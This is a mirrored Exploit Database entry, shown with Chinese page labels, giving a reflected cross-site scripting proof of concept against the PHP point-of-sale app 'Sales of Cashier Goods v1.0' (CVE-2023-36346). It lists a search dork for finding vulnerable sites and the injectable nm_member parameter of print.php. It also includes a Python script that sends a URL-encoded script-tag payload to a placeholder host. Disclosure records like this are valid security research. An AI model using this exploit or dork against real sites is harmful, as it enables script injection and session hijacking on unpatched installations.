Sales of Cashier Goods v1.0 – Cross Site Scripting (XSS)

• Exploit Database
• 128 阅读

• 作者： Amirhossein Bahramizadeh
  日期： 2023-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51549/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  # Exploit Title: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) # Date: 2023-06-23 # country: Iran # Exploit Author: Amirhossein Bahramizadeh # Category : webapps # Dork : /print.php?nm_member= # Vendor Homepage: https://www.codekop.com/products/source-code-aplikasi-pos-penjualan-barang-kasir-dengan-php-mysql-3.html # Tested on: Windows/Linux # CVE : CVE-2023-36346   import requests import urllib.parse   # Set the target URL and payload url = "http://example.com/print.php" payload = "<script>alert(&apos;XSS&apos;)</script>"   # Encode the payload for URL inclusion payload = urllib.parse.quote(payload)   # Build the request parameters params = { "nm_member": payload }   # Send the request and print the response response = requests.get(url, params=params) print(response.text)